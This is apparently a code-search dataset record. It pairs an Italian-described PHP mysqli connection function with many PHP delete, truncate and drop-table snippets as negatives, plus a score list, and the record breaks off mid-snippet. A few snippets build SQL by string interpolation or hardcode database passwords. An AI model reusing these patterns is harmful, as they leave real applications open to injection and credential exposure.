{\n $paths = array('tax/calculation', 'tax/calculation_rate', 'tax/calculation_rule');\n\n foreach( $paths as $path ) {\n $existingRecords = Mage::getModel($path)->getCollection();\n\n foreach( $existingRecords as $record ) {\n\n try {\n $record->delete();\n }\n catch (Exception $e) {\n Mage::getSingleton('core/session')->addError(\"There was an error deleting from Magento model \" . $path);\n }\n\n }\n\n }\n\n }", "public function delete(Model $model): void\n {\n $model->delete();\n }", "public function delete_all()\n {\n }", "public function deleteTables()\n {\n $db = Core::$db;\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_forms\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_form_placeholders\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_form_templates\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_templates\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_template_sets\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_template_set_placeholders\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_template_set_placeholder_opts\");\n $db->execute();\n\n $db->query(\"DROP TABLE IF EXISTS {PREFIX}module_form_builder_template_set_resources\");\n $db->execute();\n }", "function delete()\n {\n $GLOBALS['DB']->exec(\"DELETE FROM stores WHERE id = {$this->getId()};\");\n $GLOBALS['DB']->exec(\"DELETE FROM stores_brands WHERE store_id = {$this->getId()};\");\n }", "public function delete() {\n\t\t$this->getConnection()->delete( $this );\n\t\t$this->clear();\n\t}", "public function afterTearDown()\n {\n $this->schema()->dropIfExists('users');\n $this->schema()->dropIfExists('friends');\n $this->schema()->dropIfExists('posts');\n $this->schema()->dropIfExists('comments');\n $this->schema()->dropIfExists('photos');\n $this->schema()->dropIfExists('invalid_kids');\n $this->schema()->dropIfExists('profiles');\n }", "function delete() {\n $this->db->delete(self::table_name, array('id' => $this->id));\n }", "public function deleteAll()\n {\n $query = 'TRUNCATE TABLE `'. $this->getTableName() .'`';\n $this->db->sql_query($query);\n }", "private function purgeTables()\n\t{\t\n\t\t$this->db->query(\"DELETE FROM categories\");\n\t\t$this->db->query(\"DELETE FROM album_art\");\n\t\t$this->db->query(\"TRUNCATE TABLE albums\");\n\t\t\n\t}", "public function actionBatchDelete() {\n if (($ids = Yii::$app->request->post('ids')) !== null) {\n $models = $this->findModelAll($ids);\n foreach ($models as $model) {\n $model->delete();\n }\n return $this->redirect(['index']);\n } else {\n throw new HttpException(400);\n }\n }", "public function destroy()\n {\n $db = XenForo_Application::get('db');\n $db->query('DROP TABLE `' . self::DB_TABLE . '`');\n }", "public function delete() {\n // Deleting microarticles.\n $microarticles = $this->getMicroarticles();\n if (!empty($microarticles)) {\n foreach ($microarticles as $microarticle) {\n $microarticle->delete();\n }\n }\n\n // Deleting selfservices.\n $selfServices = $this->getSelfservices();\n if (!empty($selfServices)) {\n foreach ($selfServices as $selfService) {\n $selfService->delete();\n }\n }\n\n parent::delete();\n }", "public function delete()\n {\n $this->entityManager->getConnection()->exec(\"TRUNCATE subscriptions_products;\");\n $this->entityManager->getConnection()->exec(\"TRUNCATE subscriptions_products_tiers;\");\n $this->entityManager->getConnection()->exec(\"TRUNCATE subscriptions_products_tiers_payment_options;\");\n }", "public static function deleteAll() {\n\t\treturn self::_getDao()->deleteAll();\n\t}", "public function deleteAll();", "public function deleteAll();", "public function deleteAll();", "public function deleted(Model $model)\n {\n Schema::dropIfExists($model->getBuilderTable());\n }", "public function tearDown()\n {\n $sqlBuilder = new \\Apps\\Database\\Delete();\n $sql = $sqlBuilder->delete()->from('Shows')->where('Country = :country')->result();\n $pdo = array('country' => 'UnitTest');\n $this->database->run($sql, $pdo);\n\n $sql = $sqlBuilder->delete()->from('Songs')->where('Title LIKE :title')->result();\n $pdo = array('title' => 'UnitTest%');\n $this->database->run($sql, $pdo);\n\n $sql = $sqlBuilder->delete()->from('People')->where('Name LIKE :name')->result();\n $pdo = array('name' => 'UnitTest%');\n $this->database->run($sql, $pdo);\n\n $this->database->close();\n }", "public function delete() {\r\n return $this->orm->delete();\r\n }", "function delete_all()\n{\n\t$model = $this->getModel('logs');\n\t$read = $model->delete_all();\n\t$this->view_logs();\n}", "public static function dbClear(){\n\t\tif (App::runningUnitTests()) {\n\t\t\tself::clearModelTables(TestSettings::$modelTables);\n\t\t\tself::clearTables(TestSettings::$pivotTables);\n\t\t}\n\t}", "protected function performDeleteOnModel()\n {\n $this->getApi()->{'delete'.ucfirst($this->getEntity())}(\n $this->{$this->primaryKey},\n array_merge(...array_values($this->getGlobalScopes()))\n );\n\n $this->exists = false;\n }", "public function delete(Model $model)\n {\n }", "public function deleteModel($entity){\n $this->entityManager->remove($entity);\n $this->entityManager->flush();\n }", "public static function cleanDatabase()\n\t{\n\t\t$expire = time() - 86400*30;\n\t\tDB::get()->prepare(\"\n\t\t\tDELETE FROM forms\n\t\t\tWHERE forms_created_time < ?\")\n\t\t\t->execute(array($expire));\n\t}", "public function destroy() {\n\t\t$sql = 'DELETE FROM ' . static::$table . ' WHERE id = ' . $this->get('id') . ';';\n\t\t$query = DBH()->prepare($sql);\n\t\t$query->execute();\n\t}", "public function tearDown()\n {\n $this->schema()->drop('users');\n $this->schema()->drop('users32');\n $this->schema()->drop('usersb');\n $this->schema()->drop('posts');\n $this->schema()->drop('posts32');\n $this->schema()->drop('postsb');\n $this->schema()->drop('rolesb');\n $this->schema()->drop('roles32');\n $this->schema()->drop('user32_role32');\n $this->schema()->drop('userb_roleb');\n }", "public function delete(){\n\t\t$this->feedbacks_model->delete();\n\t}", "public function delete() {\r\n\t\t$this->getMapper()->delete($this);\r\n\t}", "public function deleteAll(){\r\n if(APPLICATION_ENV != 'production'){\r\n $this->getMapper()->deleteAll();\r\n return;\r\n }\r\n throw new Exception(\"Not Allowed\");\r\n }", "public function delall()\n {\n }", "public function delete()\n {\n foreach ($this->users as $user) {\n $uid = $user->id;\n // delete whole website info for this user\n if ((bool)$this->delete) {\n $model = new FormUserClear($user);\n $model->comments = true;\n $model->content = true;\n $model->feedback = true;\n $model->wall = true;\n $model->make();\n }\n\n // delete avatars\n File::remove('/upload/user/avatar/big/' . $uid . '.jpg');\n File::remove('/upload/user/avatar/medium/' . $uid . '.jpg');\n File::remove('/upload/user/avatar/small/' . $uid . '.jpg');\n File::remove('/upload/user/avatar/original/' . $uid . '.jpg');\n // delete user profile and auth data\n $user->profile()->delete();\n // delete user provider data\n $user->provider()->delete();\n // delete user object\n $user->delete();\n }\n }", "public function delete($models)\n {\n $index = new Index($this->RedisClientInterface, $models->first()->searchableAs());\n $models\n ->map(function ($model) {\n return $model->getKey();\n })\n ->values()\n ->each(function ($key) use ($index) {\n $index->delete($key);\n });\n }", "public function delete(Model $model)\n {\n $model->delete();\n }", "protected function deleteStore() {\n $keys = ['entity_type', 'entity_id', 'export_type'];\n foreach ($keys as $key) {\n $this->store->delete($key);\n }\n }", "public function actionDelete()\n {\n $post = file_get_contents(\"php://input\");\n $data = Json::decode($post, true);\n $model = $this->findModel($data['ids']);\n $mensaje['mensaje'] = \"\";\n try {\n $model->delete();\n $mensaje['mensaje'] = \"Exitoso\";\n } catch(IntegrityException $e) {\n $mensaje['mensaje'] = \"Error\";\n }\n\n echo Json::encode($mensaje);\n exit;\n }", "public function wipeAll() {\n\t\tforeach($this->getTables() as $t) {\n\t\t\tforeach($this->getKeys($t) as $k) {\n\t\t\t\t$this->adapter->exec(\"ALTER TABLE \\\"{$k['FKTABLE_NAME']}\\\" DROP FOREIGN KEY \\\"{$k['FK_NAME']}\\\"\");\n\t\t\t}\n\t\t\t$this->adapter->exec(\"DROP TABLE \\\"$t\\\"\");\n\t\t}\n\t\tforeach($this->getTables() as $t) {\n\t\t\t$this->adapter->exec(\"DROP TABLE \\\"$t\\\"\");\n\t\t}\n\t}", "public function rm_whole() {\n\t\t$this->rm_controller();\n\t\t$this->rm_model();\n\t\t$this->rm_entity();\n\t}", "public function uninstall(){\n MergeRequestComment::dropTable();\n MergeRequest::dropTable();\n CommitCache::dropTable();\n Repo::dropTable();\n Project::dropTable();\n }", "function afterDelete() {\n \t\t$this->_ownerModel->deleteAll(array(\n \t\t\t\t'model' => $this->_Model->alias,\n \t\t\t\t'foreign_key' => $this->_Model->id,\n \t\t\t\t$this->settings[$this->_Model->alias]['userPrimaryKey'] => $this->_User,\n \t\t));\n\t\t}", "public function testDestroy()\n {\n if ($this->skipBaseTests) $this->markTestSkipped('Skipping Base Tests');\n\n $item = $this->model->factory()->create();\n\n // Removes the dates for comparison\n $itemArray = $item->toArray();\n unset($itemArray['created_at']);\n unset($itemArray['updated_at']);\n\n // Check that the model is in the database\n $this->assertDatabaseHas($this->table, $itemArray);\n\n $response = $this->delete(\"{$this->baseUrl}/{$item->getKey()}\", [], ['FORCE_CONTENT_TYPE'=>'json'])\n ->assertStatus(200);\n\n // The model should not exist in the database now\n $this->assertDatabaseMissing($this->table, $itemArray);\n\n }", "private function actionListDelete() {\n $put_vars = $this->actionListPutConvert();\n $this->loadModel($put_vars['id'])->delete();\n }", "public function testDeleteModel()\r\n\t{\r\n\t\t$mongo = new \\MongoClient();\r\n\t\t$db = $mongo->test;\r\n\t\t$db->node->remove();\r\n\t\t\r\n\t\t$mongoDbAdapter = new MongoDbAdapter();\r\n\t\t$mongoDbAdapter->setUp(['db' => 'test']);\r\n\t\t\r\n\t\t$array = [\t\r\n\t\t\t\t'children' => null,\r\n\t\t\t\t'parents' => null,\r\n\t\t\t\t'type' => 'Model.TextModel', \r\n\t\t\t\t'_id' => new \\MongoId(),\r\n\t\t\t\t'tags' => [['name' => 'haus'],['name' => 'balkon']],\r\n\t\t\t\t'content' => 'text text text'];\r\n\t\t$textModel = new \\Model\\TextModel($array);\r\n\t\t\r\n\t\t$mongoDbAdapter->insertModel($textModel->toArray());\r\n\t\t\r\n\t\t$mongoDbAdapter->deleteModel($array['_id']);\r\n\t\t\r\n\t\t$cursor = $db->node->find(['_id' => $array['_id']]);\t\r\n\t\t$dbArr = [];\r\n\t\tforeach($cursor as $ele)\r\n\t\t{\r\n\t\t\t$dbArr[] = $ele;\r\n\t\t\r\n\t\t}\t\r\n\t\t$this->assertSame($dbArr,[]);\r\n\t}", "protected function deleteStore()\n {\n $keys = ['name', 'email'];\n foreach ($keys as $key) {\n $this->store->delete($key);\n }\n }", "public function removeAll() {\n $sql = 'SET FOREIGN_KEY_CHECKS = 0; TRUNCATE TABLE course';\n \n $connection_manager = new connection_manager();\n $conn = $connection_manager->connect();\n \n $stmt = $conn->prepare($sql);\n \n $stmt->execute();\n $count = $stmt->rowCount();\n }", "protected function afterDelete()\n\t{\n\t\tparent::afterDelete();\n\t\tComment::model()->deleteAll( 'howto_id=' . $this->id );\n\t\tBookmark::model()->deleteAll( 'howto_id=' . $this->id );\n\t\tHowtoCategory::model()->deleteAll( 'howto_id=' . $this->id );\n \t\tSlide::model()->deleteAll( 'howto_id=' . $this->id );\n\t\tStep::model()->deleteAll( 'howto_id=' . $this->id );\n\t\tHowtoTag::model()->deleteAll( 'howto_id=' . $this->id );\n\t}", "function deleteall() {\n\t\t$this->_query( \"DELETE FROM $0\" );\n\t}", "public function destroy()\n {\n // DB::table('video_uploaded')->delete();\n }", "private function cleanup()\n\t{\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\n\t\t// delete 14 day old processed product records, always leaving at least 5\n\t\tee()->sync_db->query(\"DELETE FROM products WHERE processed = 1 AND timestamp < DATE_SUB(NOW(), INTERVAL 14 DAY) AND id NOT IN (SELECT id FROM ( SELECT id FROM `products` WHERE processed = 1 ORDER BY id DESC LIMIT 5 ) keepers)\");\n\t\t\n\t\t// delete old inventory records\t\n\t\tee()->sync_db->query(\"DELETE FROM products_inventory WHERE processed = 1 AND timestamp < DATE_SUB(NOW(), INTERVAL 2 DAY)\");\n\n\t\t// delete old shipping records\n\t\tee()->sync_db->query(\"DELETE FROM orders_shipping WHERE processed = 1 AND timestamp < DATE_SUB(NOW(), INTERVAL 14 DAY)\");\n\n\t\t// delete old processed records\n\t\tee()->sync_db->query(\"DELETE FROM orders_processed WHERE processed = 1 AND timestamp < DATE_SUB(NOW(), INTERVAL 14 DAY)\");\n\t\t\n\t}", "public function delete()\n {\n $this->db->delete($this->table, $this->data['id'], $this->key);\n }", "protected function tearDown(): void\n {\n foreach (['default'] as $connection) {\n $this->schema($connection)->drop('users');\n $this->schema($connection)->drop('friends');\n $this->schema($connection)->drop('posts');\n $this->schema($connection)->drop('photos');\n }\n\n Relation::morphMap([], false);\n }", "public function destroy() {\n $this->connection->schema()->dropTable($this->mapTable);\n $this->connection->schema()->dropTable($this->messageTable);\n }", "protected function cleanApplication() {\n @unlink('sql.db');\n }", "public static function uninstallModel() {\r\n return GearSection::dropTables() && GearOption::dropTables();\r\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS = 0;');\n DB::table('usuario')->truncate();\n DB::table('rol')->truncate();\n DB::table('rol_usuario')->truncate();\n DB::table('permiso')->truncate();\n DB::table('permiso_rol')->truncate();\n DB::table('permiso_usuario')->truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS = 1;');\n }", "protected function _delete()\n {\n $this->_deleteRows( $this->getServiceTurnaroundTimes() );\n $this->_deleteRows( $this->getServicePriceModifiers() );\n $this->_deleteRows( $this->getServiceSpeakerNumbers() );\n\n $clientServiceModel = new Application_Model_ClientService();\n $clientServiceModel->delete( 'service_id = ' . $this->id );\n\n $serviceGroupModel = new Application_Model_ServiceGroupService();\n $serviceGroupModel->delete( 'service_id = ' . $this->id );\n }", "public function delete() {\n\t\tif ($this->checkDependencies() == true ) {\n\t\t\t$sql = \"DELETE FROM \".$this->tablename.\" where \".$this->idcol.\" = \".$this->page->ctrl['record'];\n\t\t\t$this->dbc->exec($sql);\n\t\t}\n\t}", "public function deleteAll(): void;", "protected function tearDown()\n {\n \n unset($this->object->db);\n\n }", "function cleanup()\n {\n $db = eZDB::instance();\n $db->begin();\n $db->query( \"DELETE FROM ezsphinx\" );\n $db->query( \"DELETE FROM ezsphinx_pathnodes\" );\n $db->commit();\n }", "public function deleteByModel(Model $model): bool;", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function cleanRoleAndPermissionTables() : void\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n DB::table('roles')->truncate();\n DB::table('permissions')->truncate();\n DB::table('role_has_permissions')->truncate();\n DB::table('model_has_roles')->truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function delete()\n {\n $this->repository->delete($this->id);\n }", "protected function tearDown(): void\n {\n $this->dbClear();\n }" ]
[ "0.8234211", "0.7791622", "0.7547916", "0.72001165", "0.71358734", "0.7094668", "0.70619464", "0.7035616", "0.7008113", "0.699527", "0.68893355", "0.68557143", "0.6842575", "0.68349683", "0.68325025", "0.6694541", "0.6694541", "0.6688237", "0.66529346", "0.66137487", "0.6613736", "0.6608537", "0.66052884", "0.6594866", "0.6587152", "0.6541027", "0.6524436", "0.6513999", "0.65005577", "0.6476862", "0.6465551", "0.64479095", "0.644758", "0.6443709", "0.64430475", "0.6441884", "0.64329344", "0.6403139", "0.6391782", "0.63852847", "0.63654655", "0.63579655", "0.63557184", "0.6350974", "0.6342891", "0.6342667", "0.6332863", "0.6323559", "0.6315925", "0.63153476", "0.63153476", "0.63153476", "0.6313611", "0.6312738", "0.6304064", "0.6295258", "0.6293111", "0.62859744", "0.6284594", "0.6281534", "0.6259684", "0.62577873", "0.62528336", "0.6249649", "0.62490636", "0.62479264", "0.62456906", "0.62423205", "0.62344146", "0.62315726", "0.6228627", "0.62156564", "0.6209294", "0.6207666", "0.6203754", "0.6203508", "0.61974454", "0.61914057", "0.61910367", "0.6188719", "0.6188032", "0.6187558", "0.6184516", "0.6182534", "0.61809343", "0.61768544", "0.6173976", "0.6172771", "0.6172293", "0.61682165", "0.61681104", "0.61643875", "0.6162882", "0.6161662", "0.61563283", "0.6156277", "0.6152258", "0.6150543", "0.6148909", "0.6145606", "0.6141999" ]
0.0
-1
Istanzia un oggetto mysqli che si connette al database e gestisce l'eventuale errore di connessione; restituisce null in caso di errori o altrimenti il riferimento all'oggetto mysqli
public static function &connect() { $mysqli = new mysqli(); if($_SERVER['HTTP_HOST'] != 'localhost') $mysqli->connect(self::$DB_HOST, self::$DB_USER, self::$DB_PASSWORD, self::$DB_NAME); else $mysqli->connect(self::$DB_HOST, "root", "", self::$DB_NAME); if($mysqli->connect_errno != 0) { $message = $mysqli->connect_error; echo "Errore durante la connessione al database: $message"; return null; } return $mysqli; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function checkMySQL(){\r\n\tif(((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_errno($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_errno()) ? $___mysqli_res : false))){\r\n\t\techo \"<BR>***\";\r\n\t\tdie('Error: '.((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)));\r\n\t}\r\n}", "function getConectionDb() {\n $db_name = \"bd_ejercicio\";\n $db_host = \"localhost\";\n $db_user = \"root\";\n $db_password = \"\";\n @$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);\n return ($mysqli->connect_errno) ? false : $mysqli;\n}", "function getConectionDb() {\n $db_name = \"bd_ejercicio\";\n $db_host = \"localhost\";\n $db_user = \"root\";\n $db_password = \"\";\n @$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);\n return ($mysqli->connect_errno) ? false : $mysqli;\n}", "function get_last_error($conn) {\n return mysqli_error($conn);\n}", "function sqliQuery($query) {\r\n global $mysqli;\r\n if ($query != \"\") {\r\n $result = $mysqli->query($query);\r\n if (mysqli_error($mysqli)) {\r\n var_dump($query, mysqli_error($mysqli));\r\n $sqlError = true;\r\n } else {\r\n $sqlError = false;\r\n }\r\n return $result;\r\n } else {\r\n return null;\r\n }\r\n}", "function db_error() {\n $connection = db_connect();\n return mysqli_error($connection);\n}", "function connetti(&$db) {\n\tglobal $host, $user, $pass, $nomedb;\n\t$db = new mysqli($host, $user, $pass, $nomedb);\n\tif (mysqli_connect_errno()) {\n\t\techo 'Connessione fallita';\n\t\texit ;\n\t}\n}", "function fconectar(){\n\t\t$this->conexion = new mysqli($this->servidor, $this->usuario, $this->pwd, $this->bd);\n\t\tif ($this->conexion->connect_error) {\n \t\tdie('Error de Conexión (' . $mysqli->connect_errno . ') ' . $mysqli->connect_error);\n\t\t}\t\t\n\t}", "public function Cerrar(){\n \t\t$objMySQL = new mysqli($this->_servidor, $this->_usuario,\n $this->_clave, $this->_basedatos);\n\t\tif(!$objMySQL->close()){\n\t\t\t$this->errorBD = \"<b>AccesoBD->Cerrar: </b>\".$objMySQL->error;\n\t\t\techo $this->errorBD;\n\t\t}\n\t}", "function db_connnect()\n {\n global $db;\n @ $db = new mysqli('localhost', 'user', '1234', 'gruppef');\n global $db_is_connected;\n if (mysqli_connect_errno())\n {\n $db_is_connected = false;\n consol_message(\"Error: Could not connect to database. Please try again later.\");\n return;\n }else{\n $db_is_connected = true;\n $db->query(\"SET CHARACTER SET utf8\");\n }\n return;\n }", "public function Iniciar(){\n $resp = false;\n $conexion = mysqli_connect($this->getHOSTNAME(),$this->getUSUARIO(),$this->getCLAVE(),$this->getBASEDATOS());\n if ($conexion){\n if (mysqli_select_db($conexion,$this->getBASEDATOS())){\n $this->setCONEXION($conexion);\n unset($this->QUERY);\n unset($this->ERROR);\n $resp = true;\n } else {\n $error = mysqli_errno($conexion) . \": \" . mysqli_error($conexion);\n $this->setERROR($error); \n }\n }else{\n $error = mysqli_errno($conexion) . \": \" . mysqli_error($conexion);\n $this->setERROR($error); \n }\n return $resp;\n }", "function checkConnect($mysqli) {\n if ($mysqli->connect_errno) {\n die('Unable to connect to database [' . $mysqli->connect_error . ']');\n exit();\n }\n}", "function confirm_db_connect(){\n if (mysqli_connect_errno()) {\n $msg = \"Database connection failed: \";\n $msg .= mysqli_connect_error();\n $msg .= \" (\". mysqli_connect_errno() . \")\";\n exit($msg);\n }\n}", "function conectar(){\n\t\t$mysqli = new mysqli ( \"localhost\", \"root\", \"root\", \"peluqueria\");\n\t\tif ($mysqli->connect_errno) {\n\t\t\techo \"Fallo la conexión con MySQL: (\" . $mysqli->connect_errno . \") \" . $mysqli->connect_error;\n\t\t}\n\t\treturn $mysqli;\n\t}", "function conferma($risultato){\n global $connessione;\n if(!$risultato){\n die('Richiesta fallita' . mysqli_error($connessione));\n }\n}", "function conectarse(){\r\n $servidor=\"localhost\";\r\n $usuario=\"root\";\r\n $password=\"\";\r\n $bd=\"whdig\";\r\n \r\n $conectar = new mysqli($servidor,$usuario,$password,$bd);\r\n \r\n if($conectar->connect_errno){\r\n printf(\"Connect failed: %s\\n\",$conectar->connect_error);\r\n exit();\r\n }else{\r\n \r\n return $conectar;\r\n }\r\n}", "function comprobarConexion(){\n if ($this->conexion->connect_errno) \n {\n echo \"Fallo al conectar a MySQL: (\" . $this->conexion->connect_errno . \") \" . $this->conexion->connect_error;\n }\n }", "function connetti(){\n $host = HOSTNAME;\n $user = DB_USER;\n $password = DB_PASSWORD;\n $db = DB_NAME;\n // effettua la connessione\n $mysqli = new mysqli($host,$user,$password,$db);\n if($mysqli->connect_error){\n echo \"Errore di connessione al DB\";\n }\n return $mysqli;\n}", "function confirm_db_connect(){\n if(mysqli_connect_errno()){\n $msg = \"Database connection failed: \";\n $msg .= mysqli_connect_error();\n $msg .= \" (\" . mysqli_connect_errno() . \")\";\n exit($msg);\n }\n}", "private function dbConnect(){\n\t\t\t$mysqli = $this->mysqli = new mysqli(self::DB_SERVER, self::DB_USER, self::DB_PASSWORD, self::DB);\n mysqli_set_charset($mysqli, \"utf8\");\n if ($mysqli->connect_errno) {\n $this->response('', 204); // server error \n }\n\t\t}", "function db_error($db_link) {\n return mysqli_error($db_link);\n}", "function comprobarConexion(){\n if ($this->conexion->connect_errno) {\n echo \"Fallo al conectar a MySQL: (\" . $this->conexion->connect_errno . \") \" . $this->conexion->connect_error;\n }\n }", "private function conectar_base_datos(){\n\t\t$this->descriptor = mysqli_connect($this->servidor,$this->usuario,$this->pass,$this->base_datos);\n\t\tif (mysqli_connect_errno()) {\n \t\t?>\n\t\t\t<script language=\"JavaScript\" type=\"text/javascript\">\n\t\t\t\talert (\"Falló conexión al servidor:<?php printf(\"%s\\n\", mysqli_connect_error());?>\"); \n\t\t\t</script>\n\t\t\t<?\n\t\t\texit();\n\t\t}\n\t}", "function db_errorno($db_link) {\n return mysqli_errno($db_link);\n}", "function connect($usr,$pw,$db,$host) { \n global $link;\n try { \n $link = new mysqli($host,$usr,$pw,$db); \n $connected = true; \n } catch (mysqli_sql_exception $e) { \n throw $e; \n } \n}", "function db_connect() // Colorize: green\n { // Colorize: green\n $link = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); // Colorize: green\n // Colorize: green\n if ($link->connect_error) // Colorize: green\n { // Colorize: green\n error_log(\"Failed to connect to MariaDB server. Error: \" . $link->connect_error); // Colorize: green\n // Colorize: green\n return null; // Colorize: green\n } // Colorize: green\n // Colorize: green\n return $link; // Colorize: green\n }", "function DbConnect()\n{\n try {\n $connection = new mysqli(HOST, USER, PASS, DB);\n \n if ($connection->connect_errno != 0) {\n echo $connection->connect_error;\n exit();\n }\n return $connection;\n } catch (Exception $e) {\n echo $e->getMessage();\n }\n}", "function connect_to_database() {\n\n $this->conn = mysqli_connect($this->dbhost, $this->dbuser, $this->dbpass);\n\n if(! $this->conn ) {\n // CODE HERE TO LOAD ERROR PAGE\n }\n\n else {\n $this->get_id_info();\n }\n }", "function connect() {\n\t$result = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);\n\t$result->set_charset(\"utf8\");\n\tif($result->connect_errno != 0) {\n\t\tthrow new Exception(\"Polaczenie z baza danych nie powiodlo sie!\");\n\t} else {\n\t\treturn $result;\n\t}\n}", "public function connect() {\n if ($this->db == null) {\n $this->db = new mysqli($this->host_name, $this->user_name, $this->password, $this->db_name);\n if ($this->db->connect_errno > 0) {\n throw new Eccezione(\"C'è stato un errore nella connessione con il database. L'errore che si è verificato è il seguente: \" . $this->db->connect_error);\n } else {\n $this->is_connected = TRUE;\n }\n }\n }", "public function __construct(){\n try{\n $this->mysqli = new mysqli (self::LOCALHOST, self::USER, self::PASSWORD, self::DATABASE);\n }catch (mysqli_sql_exception $e) {\n //Si no se puede realizar la conexion\n http_response_code(500);\n exit; \n }\n }", "function db_connect(){\n $result = new mysqli('localhost','bm_user','123456','bookmarks');\n if(!$result){\n throw new Exception('Could not connect db server');\n }else{\n return true;\n }\n}", "public function CerrarConexion(){\n\t\t\t$close = mysqli_close($this->conexion) \n\t\t\tor die(\"Ha sucedido un error inexperado en la desconexion de la base de datos\");\n\t\t}", "function conexion()\r\n\t\t{\r\n\t\t\t$mysqli = new mysqli('localhost', 'root', '', 'databaseingexis');\r\n\t\t\tif ($mysqli -> connect_errno) \r\n\t\t\t{\r\n\t\t\t\tdie( \"Fallo la conexión a MySQL: (\" . $mysqli -> mysqli_connect_errno() . \") \" . $mysqli -> mysqli_connect_error());\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\treturn $mysqli;\r\n }", "public function open_db_connection(){\n\n // refer to this class connection -> procedural way\n // $this->connection = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);\n\n // refer to this class connection -> oriented way\n $this->connection = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);\n\n // when error occurs during attempt of database connection\n // if(mysqli_connect_errno()){\n\n // when error occurs during attempt of database connection\n // using connect_errno is a build in function from mysqli\n if($this->connection->connect_errno){ \n // exit with message and error\n // using connect_errno is a build in function from mysqli\n die(\"Database connection failed badly!\" . $this->connection->connect_error);\n }\n }", "function db_query($query)\n{\n $ret = mysqli_query(DB::get_connection(), $query, MYSQLI_STORE_RESULT);\n if (!$ret) {\n throw new Exception (mysqli_error(DB::get_connection()));\n }\n\n return $ret;\n}", "public function error()\r\n\t{\r\n\t\treturn mysqli_error($this->link);\r\n\t}", "function conectarse()\n{\n$enlace =mysqli_connect(\"localhost\",\"Kim\", \"revick93\",\"dbweb\");//nombreservidor, usuario,contraseña,nombre base datos\nif (!$enlace)\n {\n\n\techo \"ERROR: No se pudo conectar a MYSQL\".PHP_EOL;\n\techo \"ERROR de depuracion\".mysqli_connect_error().PHP_EOL;\n\techo \"ERROR de depuracion\".mysqli_connect_error().PHP_EOL;\n\texit;\t\n\n }\n mysqli_close($enlace);\n}", "function getConnection(){\n\n //prieijimas prie globalio kintamojo $prisijungimas:\n global $connection ;\n\n if($connection != true){\n\n if(DEBUG_MODE > 0){\n echo \"ERROR : pisijungti prie DB nepavyko <br />\";\n // kad rodytu error zinute, kodel nepavyko prisijungti:\n echo mysqli_connect_error($connection);\n }\n return NULL;\n } else{\n if(DEBUG_MODE > 1){\n echo \"ERROR : pisijungti prie DB nepavyko <br />\";\n // kad rodytu error zinute, kodel nepavyko prisijungti:\n echo mysqli_connect_error($connection);\n }\n // sekmes atveju: grazinti $prisijungima, kad veiktu:\n // echo \"prisijungti pavyko\";\n return $connection;\n }\n}", "function connectDB(){\n $mysqli = mysqli_connect(MYSQL_HOST, MYSQL_USER,MYSQL_PW,MYSQL_DB, MYSQL_PORT);\n if (mysqli_connect_errno($mysqli)) {\n\t\techo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n\t\t\techo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n\t\t\t\tdie;\n\t}else{\n return $mysqli;\n }\n}", "protected function getLastError()\n {\n return mysqli_error($this->connection);\n }", "function conexionBD()\r\n{\r\n\t\t\tdefine('DB_SERVER','localhost');\r\n\t\t\tdefine('DB_NAME','usuarios');\r\n\t\t\tdefine('DB_USER','root');\r\n\t\t\tdefine('DB_PASS','');\r\n\t\t\r\n\t\t\t$con = new mysqli(DB_SERVER,DB_USER,DB_PASS,DB_NAME);\r\n\t\t\tif ($con->connect_errno) \r\n\t\t\t{\r\n\t\t\t\techo \"EROOR AL CONCECTAR CON MySQL: (\" . $con->connect_errno . \") \" . $con->connect_error;\r\n\t\t\t}\r\n}", "protected function db_error()\n {\n return mysqli_error($this->db);\n }", "function __construct() {\n\t\t$this->mysqli = new mysqli(self::$DB_HOST, self::$DB_USERNAME, \n\t\t\tself::$DB_PASSWORD, self::$DB_DATABASE);\n if($this->mysqli->errno){\n $this->dbError = true;\n }else{\n $this->dbError = false;\n }\n }", "public function connToDB(){\n $this->conn=new mysqli(\"localhost\",\"root\",\"SQLroot\",\"Dispensary\");\n if(($this->conn)->connect_error){\n return 0;\n }\n }", "function query($ssql)\n{\n try {\n global $msg;\n $connection = DbConnect();\n $result = $connection->query($ssql);\n if ($connection->errno != 0) {\n echo $connection->error;\n echo \"<br>\" . $connection . \"<br>\" . $ssql;\n exit();\n }\n\n if ($result->num_rows > 0) {\n $DbResult = $result->fetch_all();\n }\n\n $msg = getMessageFromOperationResultToDatabase($connection);\n $connection->close();\n return $DbResult;\n } catch (Exception $e) {\n echo $e->getMessage();\n }\n}", "public function error($conn){\n return mysqli_error($conn);\n }", "public function error()\n {\n return @mysqli_error();\n }", "function conexao_mysql(){\n\t\t$conexao = mysqli_connect($this->host, $this->usuario, $this->senha, $this->banco_de_dados);\n\n\t\t//ajustar o charset de comunicação entre a aplicação e o banco de dados recebe 